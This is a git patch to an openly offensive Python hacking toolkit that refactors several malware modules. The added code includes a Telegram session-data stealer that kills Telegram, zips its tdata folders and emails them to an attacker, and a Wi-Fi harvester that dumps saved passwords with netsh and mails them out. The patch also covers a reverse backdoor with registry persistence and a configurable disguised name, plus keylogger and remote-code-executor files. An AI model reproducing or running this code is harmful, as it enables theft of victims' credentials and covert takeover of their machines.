From 2594c15bc43e9dc8e274b33c37a699197863219c Mon Sep 17 00:00:00 2001 From: Dhrumil Mistry <56185972+dmdhrumilmistry@users.noreply.github.com> Date: Sat, 11 Jun 2022 23:12:39 +0530 Subject: [PATCH] refactor modules update requirements --- .../__init__.py | 0 pyhtools/executable_generator/utils.py | 2 + .../TelegramRemoteCodeExecutor.py | 4 +- pyhtools/malwares/downloader/downloader.py | 5 - pyhtools/malwares/executables/generate.py | 3 - pyhtools/malwares/keylogger/keylogger.py | 2 - .../reverse_backdoor/HTTP/listener.py | 1 - .../malwares/reverse_backdoor/TCP/listener.py | 6 +- .../reverse_backdoor/TCP/reverse_backdoor.py | 11 +- .../telegram_data_harvester.py | 285 ++++++++++-------- .../wireless_profile_harvester.py | 129 ++++---- requirements.txt | 5 +- setup.py | 4 +- 13 files changed, 230 insertions(+), 227 deletions(-) rename pyhtools/{malwares/executables => executable_generator}/__init__.py (100%) create mode 100644 pyhtools/executable_generator/utils.py delete mode 100644 pyhtools/malwares/executables/generate.py diff --git a/pyhtools/malwares/executables/__init__.py b/pyhtools/executable_generator/__init__.py similarity index 100% rename from pyhtools/malwares/executables/__init__.py rename to pyhtools/executable_generator/__init__.py diff --git a/pyhtools/executable_generator/utils.py b/pyhtools/executable_generator/utils.py new file mode 100644 index 0000000..e060667 --- /dev/null +++ b/pyhtools/executable_generator/utils.py @@ -0,0 +1,2 @@ +from pyhtools.UI.colors import * + diff --git a/pyhtools/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py b/pyhtools/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py index 9f6cce7..df5c501 100644 --- a/pyhtools/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py +++ b/pyhtools/malwares/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py @@ -3,13 +3,13 @@ from subprocess import check_output -# root_dir = os.path.dirname(__file__) +# set API_KEY and CHAT_ID before starting bot API_KEY = 'your_bot_key/token' CHAT_ID = 0 # int - attacker's user id # to find user id, start the bot, and message this bot with /start -# password = 'password' // password is reserved for future work +# password = 'password' # reserved for future idea regarding authentication help_message = ''' Remote Code Executor BOT Written by Dhrumil Mistry diff --git a/pyhtools/malwares/downloader/downloader.py b/pyhtools/malwares/downloader/downloader.py index a8701c8..f1f29b2 100644 --- a/pyhtools/malwares/downloader/downloader.py +++ b/pyhtools/malwares/downloader/downloader.py @@ -1,4 +1,3 @@ -#!usr/bin/env python import requests def download(url:str)->bool: @@ -17,7 +16,3 @@ def download(url:str)->bool: except Exception as e: print('[-] Exception : ', e) return False - - -url = 'https://upload.wikimedia.org/wikipedia/commons/thumb/4/48/Ludwig_Guttmann2.jpg/800px-Ludwig_Guttmann2.jpg' -download(url) \ No newline at end of file diff --git a/pyhtools/malwares/executables/generate.py b/pyhtools/malwares/executables/generate.py deleted file mode 100644 index 438f62b..0000000 --- a/pyhtools/malwares/executables/generate.py +++ /dev/null @@ -1,3 +0,0 @@ -#!usr/bin/env python3 - -# TODO: Create functions to generate executables using payloads/malwares/ransomwares \ No newline at end of file diff --git a/pyhtools/malwares/keylogger/keylogger.py b/pyhtools/malwares/keylogger/keylogger.py index 87a91a0..b9cb6df 100644 --- a/pyhtools/malwares/keylogger/keylogger.py +++ b/pyhtools/malwares/keylogger/keylogger.py @@ -1,5 +1,3 @@ -#!usr/bin/env python3 -from types import MemberDescriptorType import pynput, threading, subprocess, smtplib class KeyLogger: diff --git a/pyhtools/malwares/reverse_backdoor/HTTP/listener.py b/pyhtools/malwares/reverse_backdoor/HTTP/listener.py index bc92c09..1619d38 100644 --- a/pyhtools/malwares/reverse_backdoor/HTTP/listener.py +++ b/pyhtools/malwares/reverse_backdoor/HTTP/listener.py @@ -1,4 +1,3 @@ -from sys import stderr from http.server import BaseHTTPRequestHandler, HTTPServer diff --git a/pyhtools/malwares/reverse_backdoor/TCP/listener.py b/pyhtools/malwares/reverse_backdoor/TCP/listener.py index 40e7d88..c63c966 100644 --- a/pyhtools/malwares/reverse_backdoor/TCP/listener.py +++ b/pyhtools/malwares/reverse_backdoor/TCP/listener.py @@ -151,13 +151,13 @@ def run(self): except IndexError: print('[!] Cannot Accept empty command.') - # except Exception as e: - # print('[-] Listener Exception : ', e) + except Exception as e: + print('[-] Listener Exception : ', e) if __name__ == '__main__': try: - listener = Listener('192.168.0.199',8082) + listener = Listener('127.0.0.1',4444) listener.run() except Exception as e: print('[-] Exception : ',e) \ No newline at end of file diff --git a/pyhtools/malwares/reverse_backdoor/TCP/reverse_backdoor.py b/pyhtools/malwares/reverse_backdoor/TCP/reverse_backdoor.py index 2fee01d..8ce1638 100644 --- a/pyhtools/malwares/reverse_backdoor/TCP/reverse_backdoor.py +++ b/pyhtools/malwares/reverse_backdoor/TCP/reverse_backdoor.py @@ -1,4 +1,3 @@ -#!usr/bin/env python3 import socket import subprocess import json @@ -26,20 +25,18 @@ def __init__(self, ip:str, port:int)->None: self.connect_to_listener() - def create_persistence(self): + def create_persistence(self, backdoor_name:str='MyBackdoor.exe'): ''' description: tries to connect to user when machine restarts. params: None returns: None ''' if os.name == 'nt': - # print('inside persistence if.') # TODO: Change MyBackdoor to something less suspectful before creating exe - backdoor_file_path = os.environ['appdata'] + '\\MyBackdoor.exe' + backdoor_file_path = f'{os.environ["appdata"]}\\{backdoor_name}' if not os.path.exists(backdoor_file_path): - # print('inside if if.') shutil.copy(sys.executable, backdoor_file_path) - subprocess.call(f'reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MyBackdoor /t REG_SZ /d "{backdoor_file_path}"') + subprocess.call(f'reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v {backdoor_name.removesuffix(".exe")} /t REG_SZ /d "{backdoor_file_path}"') def connect_to_listener(self): @@ -209,7 +206,7 @@ def run(self): if __name__ == '__main__': try : - backdoor = ReverseBackdoor(ip='192.168.0.199', port=8082) + backdoor = ReverseBackdoor(ip='127.0.0.1', port=4444) backdoor.run() except Exception as e: print('Exception :',e) diff --git a/pyhtools/malwares/telegram_data_harvester/telegram_data_harvester.py b/pyhtools/malwares/telegram_data_harvester/telegram_data_harvester.py index bc4e70c..5123331 100644 --- a/pyhtools/malwares/telegram_data_harvester/telegram_data_harvester.py +++ b/pyhtools/malwares/telegram_data_harvester/telegram_data_harvester.py @@ -1,138 +1,155 @@ -import time, os, psutil, shutil, smtplib, tempfile, subprocess +import time +import os +import psutil +import shutil +import smtplib +import tempfile +import subprocess from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders -# start timer -# start_time = time.time() - -# move current location to temp directory -temp_path = tempfile.gettempdir() -os.chdir(temp_path) - -# create list to save tdata paths found -tdata_paths = [] - - -def find_tdata_in(path): - ''' - description: find tdata in specific location - ''' - tdata_path = None - for root, dirs, files in os.walk(path): - for dir in dirs: - if 'telegram' in dir.lower(): - telegram_path = os.path.join(root, dir) - - tdata_path = os.path.join(telegram_path, 'tdata') - if os.path.isdir(tdata_path) and tdata_path not in tdata_paths: - tdata_paths.append(tdata_path) - - -def terminate_td(): - ''' - description: kills Telegram processes if running - ''' - if os.name == 'nt': - import wmi - f = wmi.WMI() - for process in f.Win32_Process(): - if 'telegram' in process.name.lower(): - process.Terminate() - else: - processes = subprocess.Popen('ps -A', shell=True, stdout=subprocess.PIPE) - output, error = processes.communicate() - - for line in output.splitlines(): - if 'telegram' in str(line).lower(): - pid = int(line.split(None, 1)[0]) - os.kill(pid, 9) - - -def send_zip(zip_path): - ''' - description: report tdata zip to the attacker - ''' - try: - DESTINATION_ARCHIVE_NAME = zip_path - SUBJECT = "Telegram Data {}".format(zip_path) - # separate emails using comma - RECIPIENTS = "white.tester.test@gmail.com" - - server = "smtp.gmail.com" - port = 587 - username = "yourgmailid" - password = "yourAppPassword" - sender = username - - msg = MIMEMultipart() - msg['Subject'] = SUBJECT - msg['From'] = sender - msg['To'] = RECIPIENTS - - part = MIMEBase("application", "octet-stream") - part.set_payload(open(DESTINATION_ARCHIVE_NAME, "rb").read()) - encoders.encode_base64(part) - part.add_header("Content-Disposition", "attachment; filename=\"%s\"" % (DESTINATION_ARCHIVE_NAME)) - msg.attach(part) - - smtp = smtplib.SMTP(server, port) - smtp.ehlo() - smtp.starttls() - smtp.ehlo() - smtp.login(username,password) - smtp.sendmail(sender, RECIPIENTS, msg.as_string()) - smtp.close() - - except Exception as e: - # print(e) - pass - - - -def create_archive_and_send_mail(source_path:str, dest_path:str): - ''' - desciption: creates archive and send email - ''' - os.chdir(dest_path) - terminate_td() - zip_name = 'tdata_zip_file_{}'.format(time.time()) - shutil.make_archive(zip_name,'zip', dest_path, source_path) - zip_path = os.path.join(dest_path, zip_name + '.zip') - send_zip(zip_path) - os.chdir(dest_path) - os.remove(zip_path) - -def search_in_paritions(): - ''' - description: search for telegram data in mounted partitions - ''' - partitions = psutil.disk_partitions() - for partition in partitions: - find_tdata_in(partition.mountpoint) - - -# target os specific locations to search for tdata -if os.name == 'nt': - probable_installation_paths = [ os.environ['APPDATA'], - os.environ['ALLUSERSPROFILE'], - os.environ['LOCALAPPDATA'], - os.environ['PROGRAMW6432'], - os.environ['PROGRAMFILES(X86)'], - ] - - -else: - probable_installation_paths = [os.environ['HOME'], - ] - -# first search in probable installation locations -for path in probable_installation_paths: - find_tdata_in(path) - -terminate_td() -search_in_paritions() -for tpath in tdata_paths: - create_archive_and_send_mail(source_path=tpath, dest_path=temp_path) - -# print('process Completed in ', time.time() - start_time) \ No newline at end of file + +class TelegramHarvester: + def __init__(self, sender_email: str, sender_passwd: str, server: str = "smtp.gmail.com", port: int = 587, receivers: list[str] = None): + # move current location to temp directory + self.temp_path = tempfile.gettempdir() + os.chdir(self.temp_path) + + # create list to save tdata paths found + self.tdata_paths = [] + + # email configurations + self.sender_email = sender_email + self.sender_passwd = sender_passwd + self.server = server + self.port = port + self.receivers = receivers + + def find_tdata_in(self, path): + ''' + description: find tdata in specific location + ''' + tdata_path = None + for root, dirs, files in os.walk(path): + for dir in dirs: + if 'telegram' in dir.lower(): + telegram_path = os.path.join(root, dir) + + tdata_path = os.path.join(telegram_path, 'tdata') + if os.path.isdir(tdata_path) and tdata_path not in self.tdata_paths: + self.tdata_paths.append(tdata_path) + + def terminate_td(self): + ''' + description: kills Telegram processes if running + ''' + if os.name == 'nt': + import wmi + f = wmi.WMI() + for process in f.Win32_Process(): + if 'telegram' in process.name.lower(): + process.Terminate() + else: + processes = subprocess.Popen( + 'ps -A', shell=True, stdout=subprocess.PIPE) + output, error = processes.communicate() + + for line in output.splitlines(): + if 'telegram' in str(line).lower(): + pid = int(line.split(None, 1)[0]) + os.kill(pid, 9) + + def send_zip(self, zip_path): + ''' + description: report tdata zip to the attacker + ''' + try: + DESTINATION_ARCHIVE_NAME = zip_path + SUBJECT = "Telegram Data {}".format(zip_path) + + # separate emails using comma + RECIPIENTS = ','.join(self.receivers) + + msg = MIMEMultipart() + msg['Subject'] = SUBJECT + msg['From'] = self.sender_email + msg['To'] = RECIPIENTS + + part = MIMEBase("application", "octet-stream") + part.set_payload(open(DESTINATION_ARCHIVE_NAME, "rb").read()) + encoders.encode_base64(part) + part.add_header("Content-Disposition", + "attachment; filename=\"%s\"" % (DESTINATION_ARCHIVE_NAME)) + msg.attach(part) + + smtp = smtplib.SMTP(self.server, self.port) + smtp.ehlo() + smtp.starttls() + smtp.ehlo() + smtp.login(self.sender_email, self.sender_passwd) + smtp.sendmail(self.sender_email, RECIPIENTS, msg.as_string()) + smtp.close() + + return True + + # ignore any exceptions occurred + except Exception as e: + # print(e) + return False + + def create_archive_and_send_mail(self, source_path: str, dest_path: str): + ''' + desciption: creates archive and send email + ''' + os.chdir(dest_path) + self.terminate_td() + zip_name = 'tdata_zip_file_{}'.format(time.time()) + shutil.make_archive(zip_name, 'zip', dest_path, source_path) + zip_path = os.path.join(dest_path, zip_name + '.zip') + self.send_zip(zip_path) + os.chdir(dest_path) + os.remove(zip_path) + + def search_in_paritions(self,): + ''' + description: search for telegram data in mounted partitions + ''' + partitions = psutil.disk_partitions() + for partition in partitions: + self.find_tdata_in(partition.mountpoint) + + def start(self): + # target os specific locations to search for tdata + if os.name == 'nt': + probable_installation_paths = [ + os.environ['APPDATA'], + os.environ['ALLUSERSPROFILE'], + os.environ['LOCALAPPDATA'], + os.environ['PROGRAMW6432'], + os.environ['PROGRAMFILES(X86)'], + ] + + else: + probable_installation_paths = [ + os.environ['HOME'], + ] + + # first search in probable installation locations + for path in probable_installation_paths: + self.find_tdata_in(path) + + self.terminate_td() + self.search_in_paritions() + for tpath in self.tdata_paths: + self.create_archive_and_send_mail( + source_path=tpath, dest_path=self.temp_path) + +if __name__ == '__main__': + tdata_harvester = TelegramHarvester( + sender_email='dummy_email', # dummy email to send collected data + sender_passwd='dummy_email_passwd', # dummy email account password for authentication + server='smtp.gmail.com', # smtp email server domain + port=587, # smtp server port + receivers='attacker_email', # email where harvested data will sent + ) \ No newline at end of file diff --git a/pyhtools/malwares/wireless_password_harvester/wireless_profile_harvester.py b/pyhtools/malwares/wireless_password_harvester/wireless_profile_harvester.py index bf5d604..fa8856c 100644 --- a/pyhtools/malwares/wireless_password_harvester/wireless_profile_harvester.py +++ b/pyhtools/malwares/wireless_password_harvester/wireless_profile_harvester.py @@ -3,84 +3,77 @@ import re -def send_mail(mail, password, message)->bool: - ''' - sends email from mail to itself. - params: mail, password, message -> str - retuns bool - ''' - try: - server = smtplib.SMTP('smtp.gmail.com', 587) - # print('[+] Connected to Google Server.') - server.starttls() - # print('[*] TLS started successfully.') - server.login(mail, password) - # print('[*] Logged in successfully.') - server.sendmail(mail, mail, message) - # print('[*] Data has been sent.') - server.quit() - # print('[*] Server Connection has been closed.') - return True - except smtplib.SMTPException as e: - # print('[-] Exception : ', e) - return False +class WiFiPasswordHarvester: + def __init__(self, email: str, passwd: str, smtp_server: str = 'smtp.gmail.com', port: int = 587) -> None: + # smtp conf + self.smtp_server = smtp_server + self.smtp_port = port + # login details + self.email = email + self.passwd = passwd -def get_credentials()->str: - ''' - returns wifi credentials as str - ''' - def get_username(): + def send_mail(self, message: str) -> bool: ''' - returns username if detected else returns "Unkown User" + sends email from mail to itself. + params: mail, password, message -> str + retuns bool ''' - username = subprocess.check_output('whoami', shell=True).decode() - if username: - return username - else: - return 'Unknown User' + try: + server = smtplib.SMTP(self.smtp_server, self.smtp_port) + server.starttls() + server.login(self.email, self.password) + server.sendmail(self.email, self.email, message) + server.quit() + return True + except smtplib.SMTPException as e: + return False + def get_credentials(self) -> str: + ''' + returns wifi credentials as str + ''' + def get_username(): + ''' + returns username if detected else returns "Unkown User" + ''' + username = subprocess.check_output('whoami', shell=True).decode() + if username: + return username + else: + return 'Unknown User' - command = 'netsh wlan show profiles' - networks = subprocess.check_output(command, shell=True).decode() - network_names = re.findall(r'(?:Profile\s*:\s)(.*)', networks) + command = 'netsh wlan show profiles' + networks = subprocess.check_output(command, shell=True).decode() + network_names = re.findall(r'(?:Profile\s*:\s)(.*)', networks) - overall_nw_data = f'Subject: Received Credentials from {get_username()} \n' - ssid_passwds = 'SSID : Password\n' - for network_name in network_names: - if 'QuantumRegion' in network_name: - continue + overall_nw_data = f'Subject: Received Credentials from {get_username()} \n' + ssid_passwds = 'SSID : Password\n' + for network_name in network_names: + if 'QuantumRegion' in network_name: + continue - network_name = network_name.replace('\r','') - command = 'netsh wlan show profile "' + (network_name) + '" key=clear' - - nw_info = subprocess.check_output(command, shell=True).decode() - overall_nw_data += nw_info - - passwd_res = re.search(r'(?:Key\sContent\s*:\s)(.*)', nw_info) - passwd = passwd_res.group(1) + network_name = network_name.replace('\r', '') + command = 'netsh wlan show profile "' + \ + (network_name) + '" key=clear' - ssid_passwds += f'{network_name} : {passwd}\n' + nw_info = subprocess.check_output(command, shell=True).decode() + overall_nw_data += nw_info - overall_nw_data += ssid_passwds - # print(overall_nw_data) - # print(ssid_passwds) - return overall_nw_data + passwd_res = re.search(r'(?:Key\sContent\s*:\s)(.*)', nw_info) + passwd = passwd_res.group(1) + ssid_passwds += f'{network_name} : {passwd}\n' -mail = "your_email@gmail.com" -passwd = "your_password" + overall_nw_data += ssid_passwds + return overall_nw_data -credentials = get_credentials() -# print(credentials) -if credentials: - # print('[*] Recieved Credentials.') - if send_mail(mail=mail, password=passwd, message=credentials): - print('[*] Process Completed Successfully') - pass - else: - # print('[-] Process Interuppted!') - pass -else: - # print('[-] Failed to get credentials.') - pass \ No newline at end of file + def start(self): + credentials = self.get_credentials() + if credentials: + if self.send_mail(message=credentials): + print('[*] Process Completed Successfully') + return True + else: + print('[-] Process Failed.') + return False diff --git a/requirements.txt b/requirements.txt index 9929f28..b9494c4 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,6 +1,7 @@ beautifulsoup4>=4.9.3 colorama>=0.4.4 #netfilterqueue (for linux devices only): sudo pip3 install --upgrade -U git+https://github.com/kti/python-netfilterqueue +nuitka kamene>=0.32 scapy>=2.4.5 psutil>=5.8.0 @@ -8,4 +9,6 @@ prettytable>=2.1.0 pynput>=1.7.3 pyfiglet>=0.8.post1 pytelegrambotapi>=4.0.1 -requests>=2.25.1 \ No newline at end of file +pyinstaller +requests>=2.25.1 +# wmi # for windows process management \ No newline at end of file diff --git a/setup.py b/setup.py index a2b1db9..a727922 100644 --- a/setup.py +++ b/setup.py @@ -21,7 +21,8 @@ install_requires=[ 'beautifulsoup4', 'colorama', - # 'netfilterqueue', + # 'netfilterqueue', # (for linux devices only): sudo pip3 install -U git+https://github.com/kti/python-netfilterqueue + 'nuitka', 'kamene', 'scapy', 'psutil', @@ -29,6 +30,7 @@ 'pynput', 'pyfiglet', 'pytelegrambotapi', + 'pyinstaller', 'requests', ], classifiers=[